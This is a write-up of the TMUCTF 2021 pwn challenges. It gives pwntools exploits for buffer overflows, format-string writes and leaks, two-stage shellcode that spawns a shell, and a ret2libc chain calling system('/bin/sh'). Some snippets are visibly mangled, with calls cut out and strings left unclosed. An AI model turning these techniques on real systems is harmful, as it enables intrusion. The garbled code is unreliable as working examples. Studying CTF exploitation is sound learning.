TMUCTF 2021 Pwn


  • warmup
  • babypwn
  • areyouadmin
  • canary
  • security code
  • fakesurvey

You can download the challenges and exploits files from here


This is an easy challenge all you have to do is to modify a varible on stack and set it to non-zero send some A’s to binary and you will get the flag.

Flag is TMUCTF{n0w_y0u_4r3_w4rm3d_up}


This is a classical buffer overflow challenge with no mitigation involved all you have to do is overwrite the return address with address of function wow and you will get the flag

from pwn import *

p = ELF("./babypwn")
r = remote("",7010)

offset = 0x28
payload = b"A"*offset
payload += p64(p.symbols['wow'])


Flag is TMUCTF{w0w!_y0u_c0uld_f1nd_7h3_w0w!}


This was an interesting challenge cause it was the first time I used z3 with a pwn challenge. Okay so the challenge was fairly easy it just ask for a username and password and thats it.

The username is AlexTheUser and password is 4l3x7h3p455w0rd you can easily find them using the string command.

But it will only give you the flag if bypass certain conditions like this,

These are the mathematical condtions where you have to guess the variables this is where z3 comes into the play. z3 or any sat solver takes certain condition and gives you the actual numbers like,

a + b = 5
a - b = 1

Then z3 will solve this for you and will give you the exact value for a and b

The variables are the location on stack set to 0 so all you have to do is overwrite these with correct value and you will get the flag. For this you can use either username or password field both are vulnerable to buffer overflow

from pwn import *
from z3 import *

a,b,c,d,e = Int('a'),Int('b'),Int('c'),Int('d'),Int('e')

def val():
    s = Solver()
    s.add((a * b) + c == 0x253f)
    s.add((b * c) + d == 0x37a2)
    s.add((c * d) + e == 0x16d3)
    s.add((d * e) + a == 0x1bc9)
    s.add((e * a) + b == 0x703f)
    return s.model()

l = val()

flag = False
offset = 0x60 - 0x14
username = b"AlexTheUser\x00"
password = b"4l3x7h3p455w0rd"

payload = b""
payload += username
payload += b"A" * (offset - len(username))
payload += p32(l[e].as_long())
payload += p32(l[d].as_long())
payload += p32(l[c].as_long())
payload += p32(l[b].as_long())
payload += p32(l[a].as_long())

payload2 = b""
payload2 += password
if flag:
    p = process("./areyouadmin")
    p = remote("",7020)


Flag is TMUCTF{7h3_6375_func710n_15_d4n63r0u5_4nd_5h0uld_n07_b3_u53d}


This challenge was interesting it accepts two string and tells us if they are equal or not additionally it asks for phone number at end using this field we can overwrite return address. By using checksec we can see it has an executable stack.

The challenge also provides us with address of canary

Leaked Canary Address + 12 = Address of String1

The challenge doesn’t have an actual stack canary but a dummy value placed between our string1 and string2.

The reason it says you cannot inject shellcode because both strings only accepts input upto 15 character.

In short its a shellcoding challenge with a small buffer.

Exploit is simple we have to use a stage 1 shellcode which will read our stage 2 (main) shellcode.

from pwn import *
context.arch = 'amd64'

flag = False

if flag:
    p = process("./canary")
    p = remote("",7030)

def stage1():
    stage1_shellcode = asm('''
                    xor eax,eax
                    xor edi,edi
                    mov rsi,rsp
                    mov dl,100
                    jmp rsp

    p.recvuntil(b"address: ")
    ret = int(p.recv(14),16)+12"Return Address : " + hex(ret))
    p.sendline(b"BAJI"*5 + p64(ret))

def stage2():
    stage2_shellcode = asm('''
                            mov rbx,0x0068732f6e69622f
                            push rbx
                            mov rdi,rsp
                            xor esi,esi
                            xor edx,edx
                            xor eax,eax
                            mov al,59



Flag is TMUCTF{3x3cu74bl3_574ck_15_v3ry_d4n63r0u5}

security code

Can you print the flag??????????? 🤣 the reason why it say this cause even if you exploit the vulnerability you will find it 🤔 why it isn’t printing my flag. Lets take a look

when you execute the binary it asks for whether we want to be an admin or a user if we say admin it asks for our name and says hello our dear admin, name_we_entered

As soon as our name gets reflected I go for format specifiers like %p %x and indeed it was a format string vulnerability cause it started printing values on stack.

Please note this is an 32 bit executable so not that hard

As you can see we have to modify that security_code variable to 0xabadcafe which was set to 0 by default.

So how do we do that, well the %n modifier will write the data to a pointer provided before it.

Just refer this pdf and you will get it Format String (Click Here)

seccode = 0x0804c03c

def pad(s):
    return s+b"x"*(1023-len(s))

payload = b""
payload += p32(seccode)
payload += p32(seccode+1)
payload += p32(seccode+2)
payload += p32(seccode+3)
payload += b"%238x%15$hhn"
payload += b"%204x%16$hhn"
payload += b"%227x%17$hhn"
payload += b"%254x%18$hhn"

exp = pad(payload)

This will set the security_code to 0xabadcafe and will call the function auth_admin

Now the auth_admin will open the flag and ask for a password and simply prints out the password nothin else BUTTTTTTT!! if the password is also reflecting that means YEP you guessed it its format string vulnerable too we know our flag will also gonna be on stack we can leak it out.

BUTTT heres a twist the password field accepts only 5 characters then how we can leak flag if we can only leak first two values right %p %p thats where $ comes in handy.

The $ allows us access any value on stack for example if we wants to access the 4th value on stack we can do something like this %4$x

Our flag starts at the 7th offset so thats it we have to execute our exploit multiple times and increment the offset value and we will get the entire flag easy_peasy

def leak_flag(n):
    flag = b""
    while b"}" not in flag:
        if isremote:
            p = remote("",7040)
            p = process("./securitycode")
        modifier = "%"+str(n)+"$p"
        p.recvuntil(b"password is ")
        flag += p64(int(p.recv(10),16))

    return flag.replace(b'\x00',b'')

flag = leak_flag(7)

Flag is TMUCTF{50_y0u_kn0w_50m37h1n6_4b0u7_f0rm47_57r1n6_0xf7e11340}


This challenge showcases two vulnerabilities one is format string and other is buffer overflow. By analyzing the binary we find out that its an 32 bit executable.

When we execute the binary it first ask for the password. The password is stored in a file name passPhrase so it opens the file and check if the password we entered is equal to the password in the passPhrase file. The password field accept input of 15 characters and is vulnerable to format string.

Remember what I said previously that it opens the file for password comparison so just like the previous challenge we can leak out the password using format string. The password starts at the 8th value on stack

def leak_passphrase():
    p = remote("",7050)
    p.sendline(b"%8$llx %9$llx")
    p.recvuntil(b"Your password is ")
    l = p.recv()[:-1].split(b" ")
    password = b""
    for i in l:
        password += p64(int(i,16))
    return password

when you enter the correct password it then ask for your name and exits thats it. But the name field has a buffer overflow so where we have to return I mean theres isn’t a specific function which will print out the flag.

So I guess we have to do ret2libc attack. so we basically has to call system("/bin/sh") and how we gonna do that cause we don’t know the address of system also the system has ASLR enabled.

Heres the exploit we first gonna use ret2puts this sounds funny but we are gonna use the puts to leak out the address of puts and once we have address of puts we can then calculate other offsets such as system and binsh.

Theres this thing called libc database which can help you to find the libc version if you provide it with at least single address of any function in our case its gonna be puts.

- Why we need a libc database?

Cause we dont know which version of libc remote server is using

then as the return address for the ret2puts we use the address of main()

def leak_libc_base():
    payload = b"A"*76
    payload += p32(binary.plt['puts'])
    payload += p32(binary.symbols['main'])
    payload += p32(['puts'])

    leak = u32(p.recv(4))"puts libc leaked address : " + hex(leak))
    libc_base = leak - libc.symbols['puts']"libc base address : " + hex(libc_base))
    return libc_base

Now we can calculate address to system and binsh and this time we are going to call system("/bin/sh")

Exploit = [padding][puts.plt][main][]
Exploit2 = [padding][system][put_anythin_here_as_ret_address][binsh]
def get_shell(libc_base):
    system = libc_base + libc.symbols['system']
    binsh = libc_base + next("/bin/sh"))

    payload = b"A"*76
    payload += p32(system)
    payload += b"CCCC"
    payload += p32(binsh)

flag is TMUCTF{m4yb3_y0u_u53d_7h3_574ck_4nd_r37urn3d_70_dl_r350lv3

You can download the challenges and exploits files from here